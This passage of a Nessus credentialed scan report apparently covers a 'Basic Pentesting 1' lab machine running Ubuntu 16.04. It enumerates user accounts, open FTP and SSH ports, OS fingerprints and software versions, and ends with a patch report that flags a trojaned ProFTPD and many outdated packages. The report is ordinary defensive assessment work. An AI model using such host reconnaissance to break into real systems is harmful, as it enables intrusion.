mqueue on /dev/mqueue type mqueue (rw,relatime)
fusectl on /sys/fs/fuse/connections type fusectl (rw,relatime)
tmpfs on /run/user/1000 type tmpfs (rw,nosuid,nodev,relatime,size=404472k,mode=700,uid=1000,gid=1000)
gvfsd-fuse on /run/user/1000/gvfs type fuse.gvfsd-fuse (rw,nosuid,nodev,relatime,user_id=1000,group_id=1000)
tmpfs on /run/user/108 type tmpfs (rw,nosuid,nodev,relatime,size=404472k,mode=700,uid=108,gid=114)
```

```
gvfsd-fuse on /run/user/108/gvfs type fuse.gvfsd-fuse (rw,nosuid,nodev,relatime,user_id=108,group_id=114)
```

193143 - Linux Time Zone Information

Synopsis

Nessus was able to collect and report time zone information from the remote host.

Description

Nessus was able to collect time zone information from the remote Linux host.

Solution

None

Risk Factor

None

Plugin Information

Published: 2024/04/10, Modified: 2024/04/10

Plugin Output

tcp/0

```
Via date: EDT -0400
Via timedatectl: Time zone: America/New_York (EDT, -0400)
Via /etc/timezone: America/New_York
Via /etc/localtime: EST5EDT,M3.2.0,M11.1.0
```

95928 - Linux User List Enumeration

Synopsis

Nessus was able to enumerate local users and groups on the remote Linux host.

Description

Using the supplied credentials, Nessus was able to enumerate the local users and groups on the remote Linux host.

Solution

None

Risk Factor

None

Plugin Information

Published: 2016/12/19, Modified: 2025/03/26

Plugin Output

tcp/0

```
-----------[ User Accounts ]-----------

User : marlinspike
Home folder : /home/marlinspike
Start script : /bin/bash
Groups : lpadmin
cdrom
sambashare
sudo
marlinspike
plugdev
dip
adm

----------[ System Accounts ]----------

User : root
Home folder : /root
Start script : /bin/bash
Groups : root

User : daemon
```

```
Home folder : /usr/sbin
Start script : /usr/sbin/nologin
Groups : daemon

User : bin
Home folder : /bin
Start script : /usr/sbin/nologin
Groups : bin

User : sys
Home folder : /dev
Start script : /usr/sbin/nologin
Groups : sys

User : sync
Home folder : /bin
Start script : /bin/sync
Groups : nogroup

User : games
Home folder : /usr/games
Start script : /usr/sbin/nologin
Groups : games

User : man
Home folder : /var/cache/man
Start script : /usr/sbin/nologin
Groups : man

User : lp
Home folder : /var/spool/lpd
Start script : /usr/sbin/nologin
Groups : lp

User : mail
Home folder : /var/mail
Start script : /usr/sbin/nologin
Groups : mail

User : news
Home folder : /var/spool/news
Start script : /usr/sbin/nologin
Groups : news

User : uucp
Home folder : /var/spool/uucp
Start script : /usr/sbin/nologin
Groups : uucp

User : proxy
Home folder : /bin
Start script : /usr/sbin/nologin
Groups : proxy

User : www-data
Home folder : /var/www
Start script : /usr/sbin/nologin
Groups : www-data

User : backup
Home folder : /var/backups
Start script : /usr/sbin/nologin
Groups : backup

User : list
Home folder : /var/list
Start script : /usr/sbin/nologin
Groups : list

User : irc
Home folder : /var/run/ircd
Start script : /usr/sbin/nologin
Groups : irc

User : gnats
Home folder : /var/lib/gnats
Start script : /usr/sbin/nologin
Groups : gnats

User : nobody
Home folder : /nonexistent
Start script : /usr/sbin/nologin
Groups : nogroup

User : systemd-timesync
Home folder : /run/systemd
Start script : /bin/false
Groups : systemd-timesync

User : systemd-network
Home folder : /run/systemd/netif
Start script : /bin/false
Groups : systemd-network

User : systemd-resolve
Home folder : /run/systemd/resolve
Start script : /bin/false
Groups : systemd-resolve
```

```
User : systemd-bus-proxy
Home folder : /run/systemd
Start script : /bin/false
Groups : systemd-bus-proxy

User : syslog
Home folder : /home/syslog
Start script : /bin/false
Groups : syslog
adm

User : _apt
Home folder : /nonexistent
Start script : /bin/false
Groups : nogroup

User : messagebus
Home folder : /var/run/dbus
Start script : /bin/false
Groups : messagebus

User : uuidd
Home folder : /run/uuidd
Start script : /bin/false
Groups : uuidd

User : lightdm
Home folder : /var/lib/lightdm
Start script : /bin/false
Groups : lightdm

User : whoopsie
Home folder : /nonexistent
Start script : /bin/false
Groups : whoopsie

User : avahi-autoipd
Home folder : /var/lib/avahi-autoipd
Start script : /bin/false
Groups : avahi-autoipd

User : avahi
Home folder : /var/run/avahi-daemon
Start script : /bin/false
Groups : avahi

User : dnsmasq
Home folder : /var/lib/misc
Start script : /bin/false
Groups : nogroup

User : colord
Home folder : /var/lib/colord
Start script : /bin/false
Groups : colord

User : speech-dispatcher
Home folder : /var/run/speech-dispatcher
Start script : /bin/false
Groups : audio

User : hplip
Home folder : /var/run/hplip
Start script : /bin/false
Groups : lp

User : kernoops
Home folder : /
Start script : /bin/false
Groups : nogroup

User : pulse
Home folder : /var/run/pulse
Start script : /bin/false
Groups : pulse
audio

User : rtkit
Home folder : /proc
Start script : /bin/false
Groups : rtkit

User : saned
Home folder : /var/lib/saned
Start script : /bin/false
Groups : saned
scanner

User : usbmux
Home folder : /var/lib/usbmux
Start script : /bin/false
Groups : plugdev

User : mysql
Home folder : /nonexistent
Start script : /bin/false
Groups : mysql

User : sshd
```

```
Home folder : /var/run/sshd
Start script : /usr/sbin/nologin
Groups : nogroup


----------[ Domain Accounts ]----------
```

19506 - Nessus Scan Information

Synopsis

This plugin displays information about the Nessus scan.

Description

This plugin displays, for each tested host, information about the scan itself :

- The version of the plugin set.
- The type of scanner (Nessus or Nessus Home).
- The version of the Nessus Engine.
- The port scanner(s) used.
- The port range scanned.
- The ping round trip time
- Whether credentialed or third-party patch management checks are possible.
- Whether the display of superseded patches is enabled
- The date of the scan.
- The duration of the scan.
- The number of hosts scanned in parallel.
- The number of checks done in parallel.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2005/08/26, Modified: 2025/10/01

Plugin Output

tcp/0

```
Information about this scan :

Nessus version : 10.9.4
Nessus build : 20037
Plugin feed version : 202510240351
Scanner edition used : Nessus Home
Scanner OS : WINDOWS
Scanner distribution : win-x86-64
Scan type : Normal
Scan name : Basic Pentesting 1
Scan policy used : Advanced Scan
Scanner IP : 192.168.1.12
Port scanner(s) : netstat
Port range : 65535
Ping RTT : 5.316 ms
Thorough tests : no
Experimental tests : no
Scan for Unpatched Vulnerabilities : no
Plugin debugging enabled : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialed checks : yes, as 'marlinspike' via ssh
Attempt Least Privilege : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin did not launch)
CGI scanning : disabled
Web application tests : disabled
Max hosts : 50
Max checks : 5
Recv timeout : 5
Backports : Detected
Allow post-scan editing : Yes
Nessus Plugin Signature Checking : Enabled
Audit File Signature Checking : Disabled
Scan Start Date : 2025/10/25 12:51 India Standard Time (UTC +05:30)
Scan duration : 422 sec
Scan for malware : no
```

64582 - Netstat Connection Information -

Synopsis

Nessus was able to parse the results of the 'netstat' command on the remote host.

Description

The remote host has listening ports or established connections that Nessus was able to extract from the results of the 'netstat' command.

Note: The output for this plugin can be very long, and is not shown by default. To display it, enable verbose reporting in scan settings.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2013/02/13, Modified: 2023/05/23

Plugin Output

tcp/0

14272 - Netstat Portscanner (SSH) -

Synopsis

Remote open ports can be enumerated via SSH.

Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

See Also

https://en.wikipedia.org/wiki/Netstat

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

Plugin Output

tcp/21/ftp

```
Port 21/tcp was found to be open
```

14272 - Netstat Portscanner (SSH) -

Synopsis

Remote open ports can be enumerated via SSH.

Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

See Also

https://en.wikipedia.org/wiki/Netstat

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

Plugin Output

tcp/22/ssh

```
Port 22/tcp was found to be open
```

14272 - Netstat Portscanner (SSH) -

Synopsis

Remote open ports can be enumerated via SSH.

Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

See Also

https://en.wikipedia.org/wiki/Netstat

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

Plugin Output

udp/68

```
Port 68/udp was found to be open
```

14272 - Netstat Portscanner (SSH) -

Synopsis

Remote open ports can be enumerated via SSH.

Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

See Also

https://en.wikipedia.org/wiki/Netstat

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

Plugin Output

udp/5353/mdns

```
Port 5353/udp was found to be open
```

14272 - Netstat Portscanner (SSH) -

Synopsis

Remote open ports can be enumerated via SSH.

Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

See Also

https://en.wikipedia.org/wiki/Netstat

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

Plugin Output

udp/38276

```
Port 38276/udp was found to be open
```

14272 - Netstat Portscanner (SSH) -

Synopsis

Remote open ports can be enumerated via SSH.

Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

See Also

https://en.wikipedia.org/wiki/Netstat

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

Plugin Output

udp/38634

```
Port 38634/udp was found to be open
```

14272 - Netstat Portscanner (SSH) -

Synopsis

Remote open ports can be enumerated via SSH.

Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

See Also

https://en.wikipedia.org/wiki/Netstat

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

Plugin Output

udp/40541

```
Port 40541/udp was found to be open
```

209654 - OS Fingerprints Detected -

Synopsis

Multiple OS fingerprints were detected.

Description

Using a combination of remote probes (TCP/IP, SMB, HTTP, NTP, SNMP, etc), it was possible to gather one or more fingerprints from the remote system. While the highest-confidence result was reported in plugin 11936, “OS Identification”, the complete set of fingerprints detected are reported here.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2025/02/26, Modified: 2025/03/03

Plugin Output

tcp/0

```
Following OS Fingerprints were found

Remote operating system : Ubuntu 16.04 Linux Kernel 4.4
Confidence level : 56
Method : MLSinFP
Type : unknown
Fingerprint : unknown

Remote operating system : Linux Kernel 4.4 on Ubuntu 16.04 (xenial)
Confidence level : 95
Method : SSH
Type : general-purpose
Fingerprint : SSH:SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8

Remote operating system : Linux Kernel 4.10.0-28-generic
Confidence level : 99
Method : uname
Type : general-purpose
Fingerprint : uname:Linux vtcsec 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64 x86_64 x86_64
GNU/Linux


Remote operating system : Linux
Confidence level : 59
Method : SinFP
Type : general-purpose
Fingerprint : SinFP:
P1:B10113:F0x12:W29200:O0204ffff:M1460:
P2:B10113:F0x12:W28960:O0204ffff0402080affffffff4445414401030307:M1460:
P3:B00000:F0x00:W0:O0:M0
P4:191304_7_p=22

Remote operating system : Linux Kernel 4.10.0-28-generic on Ubuntu 16.04
Confidence level : 100
Method : LinuxDistribution
Type : general-purpose
Fingerprint : unknown
```

11936 - OS Identification -

Synopsis

It is possible to guess the remote operating system.

Description

Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP, SNMP, etc.), it is possible to guess the name of the remote operating system in use. It is also possible sometimes to guess the version of the operating system.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2003/12/09, Modified: 2025/06/03

Plugin Output

tcp/0

```
Remote operating system : Linux Kernel 4.10.0-28-generic on Ubuntu 16.04
Confidence level : 100
Method : LinuxDistribution


The remote host is running Linux Kernel 4.10.0-28-generic on Ubuntu 16.04
```

97993 - OS Identification and Installed Software Enumeration over SSH v2 (Using New SSH Library) -

Synopsis

Information about the remote host can be disclosed via an authenticated session.

Description

Nessus was able to login to the remote host using SSH or local commands and extract the list of installed packages.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2017/05/30, Modified: 2025/02/11

Plugin Output

tcp/0

```
It was possible to log into the remote host via SSH using 'password' authentication.

The output of "uname -a" is :
Linux vtcsec 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

Local checks have been enabled for this host.
The remote Debian system is :
stretch/sid

This is a Ubuntu system

OS Security Patch Assessment is available for this host.
Runtime : 5.135629 seconds
```

117887 - OS Security Patch Assessment Available -

Synopsis

Nessus was able to log in to the remote host using the provided credentials and enumerate OS security patch levels.

Description

Nessus was able to determine OS security patch levels by logging into the remote host and running commands to determine the version of the operating system and its components. The remote host was identified as an operating system or device that Nessus supports for patch and update assessment. The necessary information was obtained to perform these checks.

Solution

n/a

Risk Factor

None

References

XREF IAVB:0001-B-0516

Plugin Information

Published: 2018/10/02, Modified: 2021/07/12

Plugin Output

tcp/0

```
OS Security Patch Assessment is available.

Account : marlinspike
Protocol : SSH
```

181418 - OpenSSH Detection -

Synopsis

An OpenSSH-based SSH server was detected on the remote host.

Description

An OpenSSH-based SSH server was detected on the remote host.

See Also

https://www.openssh.com/

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2023/09/14, Modified: 2025/10/21

Plugin Output

tcp/22/ssh

```
Service : ssh
Version : 7.2p2
Banner : SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8
```

168007 - OpenSSL Installed (Linux) -

Synopsis

OpenSSL was detected on the remote Linux host.

Description

OpenSSL was detected on the remote Linux host.

The plugin timeout can be set to a custom value other than the plugin's default of 15 minutes via the 'timeout.168007' scanner setting in Nessus 8.15.1 or later.

Please see https://docs.tenable.com/nessus/Content/SettingsAdvanced.htm#Custom for more information.

Note: This plugin leverages the '-maxdepth' find command option, which is a feature implemented by the GNU find binary. If the target does not support this option, such as HP-UX and AIX devices, users will need to enable 'thorough tests' in their scan policy to run the find command without using a '-maxdepth' argument.

See Also

https://openssl.org/

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2022/11/21, Modified: 2025/10/22

Plugin Output

tcp/0

```
Nessus detected 3 installs of OpenSSL:

Path : /usr/bin/openssl
Version : 1.0.2g
Associated Package : openssl

Path : /lib/x86_64-linux-gnu/libssl.so.1.0.0
Version : 1.0.1d
Associated Package : libssl1.0.0

Path : /lib/x86_64-linux-gnu/libcrypto.so.1.0.0
Version : 1.0.0
Associated Package : libssl1.0.0

We are unable to retrieve version info from the following list of OpenSSL files. However, these installs may include their version
within the filename or the filename of the Associated Package.
```

```
e.g. libssl.so.3 (OpenSSL 3.x), libssl.so.1.1 (OpenSSL 1.1.x)

/usr/lib/x86_64-linux-gnu/openssl-1.0.0/engines/lib4758cca.so
/usr/lib/x86_64-linux-gnu/openssl-1.0.0/engines/libcapi.so
/usr/lib/x86_64-linux-gnu/openssl-1.0.0/engines/libchil.so
/usr/lib/x86_64-linux-gnu/openssl-1.0.0/engines/libatalla.so
/usr/lib/x86_64-linux-gnu/openssl-1.0.0/engines/libsureware.so
/usr/lib/x86_64-linux-gnu/openssl-1.0.0/engines/libcswift.so
/usr/lib/x86_64-linux-gnu/openssl-1.0.0/engines/libaep.so
/usr/lib/x86_64-linux-gnu/openssl-1.0.0/engines/libgost.so
/usr/lib/x86_64-linux-gnu/openssl-1.0.0/engines/libnuron.so
/usr/lib/x86_64-linux-gnu/openssl-1.0.0/engines/libpadlock.so
/usr/lib/x86_64-linux-gnu/openssl-1.0.0/engines/libubsec.so
/usr/lib/x86_64-linux-gnu/openssl-1.0.0/engines/libgmp.so
```

216936 - PHP Scripting Language Installed (Unix) -

Synopsis

The PHP scripting language is installed on the remote Unix host.

Description

The PHP scripting language is installed on the remote Unix host.

Note: Enabling the 'Perform thorough tests' setting will search the file system much more broadly.
Thorough test is required to get results on hosts running MacOS.

See Also

https://www.php.net

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2024/06/13, Modified: 2025/10/22

Plugin Output

tcp/0

```
Nessus detected 3 installs of PHP:

Path : /usr/lib/cgi-bin/php7.0
Version : 7.0.33
Associated Package : php7.0-cgi: /usr/lib/cgi-bin/php7.0
INI file : /etc/php/7.0/cgi/php.ini
INI source : PHP binary grep
Managed by OS : True

Path : /usr/bin/php-cgi7.0
Version : 7.0.33
Associated Package : php7.0-cgi: /usr/bin/php-cgi7.0
INI file : /etc/php/7.0/cgi/php.ini
INI source : PHP binary grep
Managed by OS : True

Path : /usr/bin/php7.0
Version : 7.0.33
Associated Package : php7.0-cli: /usr/bin/php7.0
INI file : /etc/php/7.0/cli/php.ini
INI source : PHP binary grep
Managed by OS : True
```

179139 - Package Manager Packages Report (nix) -

Synopsis

Reports details about packages installed via package managers.

Description

Reports details about packages installed via package managers

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2023/08/01, Modified: 2025/05/07

Plugin Output

tcp/0

```
Successfully retrieved and stored package data.
```

66334 - Patch Report

Synopsis

The remote host is missing several patches.

Description

The remote host is missing one or more security patches. This plugin lists the newest version of each patch to install to make sure the remote host is up-to-date.

Note: Because the 'Show missing patches that have been superseded' setting in your scan policy depends on this plugin, it will always run and cannot be disabled.

Solution

Install the patches listed below.

Risk Factor

None

Plugin Information

Published: 2013/07/08, Modified: 2025/10/14

Plugin Output

tcp/0

```
. You need to take the following 116 actions :

[ ProFTPD Compromised Source Packages Trojaned Distribution (50989) ]

+ Action to take : Reinstall the host from known, good sources.

[ SSH Terrapin Prefix Truncation Weakness (CVE-2023-48795) (187315) ]

+ Action to take : Contact the vendor for an update with the strict key exchange countermeasures or disable the affected algorithms.

[ Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 23.10 / 24.04 LTS : libcdio vulnerability (USN-6855-1) (201111)
]

+ Action to take : Update the affected packages.

[ Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 23.10 / 24.04 LTS. : less vulnerability (USN-6756-1) (194474) ]

+ Action to take : Update the affected less package.

[ Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 23.10 : klibc vulnerabilities (USN-6736-1) (193362) ]

+ Action to take : Update the affected klibc-utils, libklibc and / or libklibc-dev packages.

+Impact : Taking this action will resolve 4 different vulnerabilities (CVEs).

[ Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 23.10 : shadow vulnerability (USN-6640-1) (190598) ]

+ Action to take : Update the affected packages.

[ Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 24.04 LTS / 24.10 / 25.04 : Setuptools vulnerability (USN-7544-
1) (237449) ]

+ Action to take : Update the affected packages.
```

[Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 24.04 LTS / 25.04 : UDisks vulnerability (USN-7723-1) (258124)]

+ Action to take : Update the affected packages.

[Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 24.04 LTS : Setuptools vulnerability (USN-7002-1) (207058)]

+ Action to take : Update the affected packages.

[Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS / 20.04 LTS : SQLite vulnerabilities (USN-7679-1) (243224)]

+ Action to take : Update the affected packages.

+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).

[Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS : GNU C Library vulnerabilities (USN-6762-1) (194950)]

+ Action to take : Update the affected packages.

+Impact : Taking this action will resolve 5 different vulnerabilities (CVEs).

[Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS : Liblouis vulnerabilities (USN-3672-1) (183612)]

+ Action to take : Update the affected packages.

+Impact : Taking this action will resolve 3 different vulnerabilities (CVEs).

[Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS : Liblouis vulnerabilities (USN-3782-1) (117915)]

+ Action to take : Update the affected packages.

+Impact : Taking this action will resolve 5 different vulnerabilities (CVEs).

[Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS : PAM vulnerability (USN-6588-2) (192577)]

+ Action to take : Update the affected packages.

[Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS : ncurses vulnerability (USN-6684-1) (191736)]

+ Action to take : Update the affected packages.

[Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS : xdg-utils vulnerability (USN-3650-1) (110044)]

+ Action to take : Update the affected xdg-utils package.

[Ubuntu 16.04 ESM / 18.04 ESM / 20.04 LTS / 22.04 LTS / 23.04 / 23.10 : GNU Tar vulnerability (USN-6543-1) (186711)]

+ Action to take : Update the affected tar and / or tar-scripts packages.

[Ubuntu 16.04 ESM / 18.04 ESM / 20.04 LTS / 22.04 LTS / 23.04 : GNU C Library vulnerabilities (USN-6541-1) (186676)]

+ Action to take : Update the affected packages.

+Impact : Taking this action will resolve 3 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM / 18.04 ESM : FLAC vulnerability (USN-6360-2) (181769)]

+ Action to take : Update the affected packages.

[Ubuntu 16.04 ESM / 18.04 ESM : MySQL vulnerabilities (USN-6583-1) (188054)]

+ Action to take : Update the affected packages.

+Impact : Taking this action will resolve 3 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM / 18.04 ESM : YAJL vulnerabilities (USN-6233-1) (178443)]

+ Action to take : Update the affected libyajl-dev, libyajl2 and / or yajl-tools packages.

+Impact : Taking this action will resolve 3 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM / 18.04 ESM : libXpm vulnerabilities (USN-6408-2) (183750)]

+ Action to take : Update the affected libxpm-dev, libxpm4 and / or xpmutils packages.

+Impact : Taking this action will resolve 4 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM / 18.04 ESM : libcap2 vulnerability (USN-6166-2) (177431)]

+ Action to take : Update the affected packages.

[Ubuntu 16.04 ESM / 18.04 ESM : ncurses vulnerability (USN-6451-1) (183834)]

+ Action to take : Update the affected packages.

[Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS / 23.04 : ncurses vulnerabilities (USN-6099-1) (176244)]

+ Action to take : Update the affected packages.

+Impact : Taking this action will resolve 5 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS : FLAC vulnerabilities (USN-5733-1) (168010)]

+ Action to take : Update the affected packages.

+Impact : Taking this action will resolve 3 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS : JBIG-KIT vulnerability (USN-5742-1) (168193)]

+ Action to take : Update the affected jbigkit-bin, libjbig-dev and / or libjbig0 packages.

[Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS : Libksba vulnerability (USN-5688-1) (166264)]

+ Action to take : Update the affected libksba-dev, libksba-mingw-w64-dev and / or libksba8 packages.

[Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS : Liblouis vulnerabilities (USN-5996-1) (173861)]

+ Action to take : Update the affected packages.

+Impact : Taking this action will resolve 3 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS : Mako vulnerability (USN-5625-1) (165282)]

+ Action to take : Update the affected python-mako and / or python3-mako packages.

[Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS : PAM regressions (USN-5825-2) (171011)]

+ Action to take : Update the affected packages.

[Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS : PCRE vulnerabilities (USN-5425-1) (161249)]

+ Action to take : Update the affected packages.

+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS : Perl vulnerability (USN-5689-1) (166266)]

+ Action to take : Update the affected packages.

[Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS : Setuptools vulnerability (USN-5817-1) (170412)]

+ Action to take : Update the affected packages.

[Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS : apr-util vulnerability (USN-5870-1) (171484)]

+ Action to take : Update the affected packages.

[Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS : e2fsprogs vulnerability (USN-5464-1) (161938)]

+ Action to take : Update the affected packages.

[Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS : shadow vulnerability (USN-5745-1) (168227)]

+ Action to take : Update the affected login, passwd and / or uidmap packages.

[Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS : systemd vulnerabilities (USN-5928-1) (172227)]

+ Action to take : Update the affected packages.

+Impact : Taking this action will resolve 3 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS / 22.04 LTS : tar vulnerability (USN-5900-1) (172025)]

+ Action to take : Update the affected tar and / or tar-scripts packages.

[Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS : Bash vulnerability (USN-5380-1) (159982)]

+ Action to take : Update the affected bash, bash-builtins and / or bash-static packages.

[Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS : GMP vulnerability (USN-5672-1) (166088)]

+ Action to take : Update the affected packages.

[Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS : GNOME grilo vulnerability (USN-5055-1) (152917)]

+ Action to take : Update the affected packages.

[Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS : Heimdal vulnerabilities (USN-5849-1) (171212)]

+ Action to take : Update the affected packages.

+Impact : Taking this action will resolve 10 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS : Speex vulnerability (USN-5280-1) (157882)]

+ Action to take : Update the affected packages.

[Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS : klibc vulnerabilities (USN-5379-1) (159882)]

+ Action to take : Update the affected klibc-utils, libklibc and / or libklibc-dev packages.

+Impact : Taking this action will resolve 4 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS : libsepol vulnerabilities (USN-5391-1) (160233)]

+ Action to take : Update the affected libsepol1, libsepol1-dev and / or sepol-utils packages.

+Impact : Taking this action will resolve 4 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM / 18.04 LTS / 20.04 LTS : tar vulnerability (USN-5329-1) (158932)]

+ Action to take : Update the affected tar and / or tar-scripts packages.

[Ubuntu 16.04 ESM / 18.04 LTS : Cron regression (USN-5259-3) (160980)]

+ Action to take : Update the affected cron package.

[Ubuntu 16.04 ESM / 18.04 LTS : Perl vulnerability (USN-6112-1) (176458)]

+ Action to take : Update the affected packages.

[Ubuntu 16.04 ESM / 18.04 LTS : libICE vulnerability (USN-5744-1) (168208)]

+ Action to take : Update the affected libice-dev and / or libice6 packages.

[Ubuntu 16.04 ESM / 18.04 LTS : shadow vulnerabilities (USN-5254-1) (157160)]

+ Action to take : Update the affected login, passwd and / or uidmap packages.

+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM / 18.04 LTS : zlib vulnerability (USN-5570-1) (164275)]

+ Action to take : Update the affected packages.

[Ubuntu 16.04 ESM : APR vulnerability (USN-5056-1) (152918)]

+ Action to take : Update the affected libapr1 and / or libapr1-dev packages.

[Ubuntu 16.04 ESM : APR-util vulnerability (USN-5737-1) (168150)]

+ Action to take : Update the affected packages.

[Ubuntu 16.04 ESM : Cairo vulnerabilities (USN-5407-1) (160959)]

+ Action to take : Update the affected packages.

+Impact : Taking this action will resolve 4 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM : Cron vulnerabilities (USN-5259-1) (157299)]

+ Action to take : Update the affected cron package.

+Impact : Taking this action will resolve 4 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM : FUSE vulnerability (USN-5326-1) (158939)]

+ Action to take : Update the affected fuse, libfuse-dev and / or libfuse2 packages.

[Ubuntu 16.04 ESM : FriBidi vulnerabilities (USN-5922-1) (172131)]

+ Action to take : Update the affected libfribidi-bin, libfribidi-dev and / or libfribidi0 packages.

+Impact : Taking this action will resolve 3 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM : GCC vulnerability (USN-5770-1) (168518)]

+ Action to take : Update the affected packages.

[Ubuntu 16.04 ESM : GNU C Library vulnerabilities (USN-5768-1) (168533)]

+ Action to take : Update the affected packages.

+Impact : Taking this action will resolve 9 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM : GPT fdisk vulnerabilities (USN-5262-1) (157349)]

+ Action to take : Update the affected gdisk package.

+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).

[Ubuntu 16.04 ESM : GStreamer vulnerability (USN-6291-1) (179902)]

